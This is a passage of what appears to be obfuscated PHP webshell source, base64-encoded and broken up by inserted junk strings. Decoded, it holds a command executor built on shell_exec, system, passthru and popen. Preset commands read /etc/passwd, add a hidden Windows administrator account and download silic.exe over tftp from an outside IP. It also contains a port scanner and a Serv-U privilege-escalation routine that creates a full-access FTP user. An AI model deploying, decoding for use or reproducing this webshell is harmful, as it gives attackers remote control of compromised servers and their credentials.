jY1MzIvfe3NTMzQkRGN0RFN0I0QTYxvfeNkUwQTY3NUY1NzUzN0JvfeBRjdvfeCRUY0QjQ3NDMzNzc5NDMzRjNCvfeNkVBOUQwvfeREUzMzIzQjAzQzYvfe0MThCMvfeEVENTg3QjRGNUUvfewOTU0NvfejgxMjczMTNEOUMxNUE2MTU3QkM3QzBDNTQ3NTA5QjlEOUIxQzY0RDI1MTA1vfeMzc1MDc0vfeM0Y3REU3QkvfeVGM0IzNzJGMjcyMzFGMDM5RTczQ0VCOTBBMTEvfexODFGMjvfeYyRDlDvfeNzNDvfeRUM1QUY4Mvfejg5OTA5NzlFNzJDRTM5RvfeTdBNUFDQjNCvfeQUMxvfeQzhBNzgwvfeMDgwNDvfedDMvfejhvfeCQjkyOTc1MDvfeQzQkQzODRGMjk2MzYwQTk1MjNGNEQ3OvfeTczNzE5MvfeDk2vfeMjBBOvfeTUzQTYzNjMwNkvfeVDMjYzQvfejvfeUwQjM1NvfeUE2QTA5QTY2M0I3QjvfekyMUU3NkEzNzvfeUyQzA3NzAzvfeNUMzMjE3MvfeDNBQkNGOTFGQjJFNzQ2RDcwMEZCNvfeDA2MDBvfeCNjQ3MkE0ODFEM0EvfeyQvfezdFQvfejUzRDI1RTRFNkZGREI3MzBBMkY2MzZENjQyRTY1Nzg2NTIwMkY2vfeMzIwMDA2OvfeDY1NkM1NTE5vfeMkIvfe3NTMxMzcvfe3NDA3Mzk2vfeN0ZGvfeNzZCNkU0MzgwQjMwMDY2ODc0NzQ3MDNBMkYyRjhGMkRGNUZGMkVEOTYzMvfekQ5vfeQjA5vfeQ0FFNEM4RUJCOEYxQ0vfeFCREI0RURDRUYzRkZDM0vfeZFNkYxMjBEMDBDRkMyRvfeDREOENBQTdCMvfeERDMEJDRUM0QkNGRUvfeIzQzlCvfeOUE2RjZEQ0U2RkUyMUMyQjdvfeCvfeRUI2QTNCQTdFMTc1QzNvfeGNDQ4NjdCODFEMTBGMDAvfeyMDA1OTMvfexOTUvfe3MzFEOTEvfezMTk5REU0NjY3MjcxRjvfeAxMDhERTg4MzIxvfeMTlCMjE3OEUxvfeODBGMzA0MzRFNTvfeE0vfeNvfekMyRjgwvfeMzkyMDvfeE3QvfekQ4OTRBMvfeDA3MDEwvfeMvfeTUzMTA3QzgxQTRCOTAyMDExRjvfeAyNjQ0MTAxNTI0vfeNzYzNTdEOUQ5MDcwQTJGMDIwNzc0M0NGvfeMkUvfe0Qzk2QzA4NDAwOvfeTE0MvfeEE3M0YwMTA5MzvfeI3NvfeEY5RUM0MTE5vfeNDEyNzAxMvfezNDNzlFNEMvfe5NDQxODBDMTk3MvfekU0MUFBQvfezFCOTMyNzvfeRGOUU3NDFDNEM3ODNDNzk2RUYyRTRDOTJDN0ExQ0ZDMThGRjg2QvfejI5MzE3RDg1NEREMDM4NTcyMjAwMvfeTA3NvfeDAyNjkvfe5MvfejgyMDQ4MDAxOTQwMjY5MjEwODQxvfeMDAyMTk5MDA5vfeOvfeDEwMTE5OTAvfewMTE5MTA4MjAyNjAxQzE2MDIvfezQjIwRUYvfeyvfeMDBEMEMwNTAxMzMxvfeNjRERDMwQzM2MDMwNzA0MTgwNTBEMzQ0REQzMzQwvfeNjAvfe5MDcvfewQzA4MzJEODIwODMwOTBBMvfeUIwQkMxQkVGNzAyNTczQvfejA3MEY1NvfezVGOTA2RUIwMTAxMzExMDMxMjE3MjEvfewQzMyRDgyMDM1MEY0MTQzMvfezZEODYwODM1MDMzvfeNTvfeIxNzUzMDdEODYvfewODMwRDU3NUY1vfeOTdCNkMxNvfe0QyMzQ0RDM3vfeNkRBQjIwNzAxQzcyRDvfeg2MERGMEJDNzJGODBCMzgvfexMDc2MDgzMEMzNjgyMUY4Mvfezg0OvfeEYyvfeMDvfegzMzRDRDkxMjk5RUExODMwRDMyRDhBNDZvfeGQTdCNzlGQ0U3NjBFQzI2MDFGRDcwQjE4MDvfecwMDY5QkVCMzVEMDUvfexN0MwMEvfeIxRDA0vfeOTA2NjQwMDYvfe5NjhEMDgvfe2NvfeDQwMDY2NDhFOEvfeY5MDAvfe2NjQ0MDA2OTE5MjkzvfeQ0MwNjYxNDAwMzlGNvfezhvfeFRjRENTRFQzI1RkYwMjA0MjIyvfeQjYwMjdDRjBFRvfejY4Mjc5v";
$qt="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